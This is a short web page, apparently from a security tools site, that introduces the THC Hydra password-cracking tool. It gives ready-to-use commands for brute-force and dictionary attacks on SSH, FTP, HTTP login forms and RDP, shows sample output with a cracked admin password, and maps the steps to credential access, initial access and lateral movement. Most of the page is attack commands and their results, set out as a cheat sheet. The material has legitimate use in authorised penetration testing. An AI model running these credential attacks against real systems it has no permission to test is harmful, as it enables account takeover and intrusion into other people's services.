What is Hydra?
THC Hydra is a powerful online password cracking tool used to perform
brute-force and dictionary attacks against remote authentication services
such as SSH, FTP, HTTP, RDP, SMB, and more.
Common Hydra Commands
# SSH Bruteforce
hydra -l root -P rockyou.txt ssh://192.168.1.10
# FTP Login Attack
hydra -L users.txt -P pass.txt ftp://target.com
# HTTP Form Bruteforce
hydra -L users.txt -P pass.txt target.com http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid"
# RDP Attack
hydra -t 4 -V -f -L users.txt -P pass.txt rdp://192.168.1.5
Sample Output
[22][ssh] host: 192.168.1.10 login: admin password: admin@123
[STATUS] attack finished for 192.168.1.10
1 valid password found
Attack Phase Mapping
[ Credential Access ] → Online brute-force & dictionary attacks
[ Initial Access ] → Compromised remote services
[ Lateral Movement ] → Reused credentials on multiple hosts
← Back to Tools
Home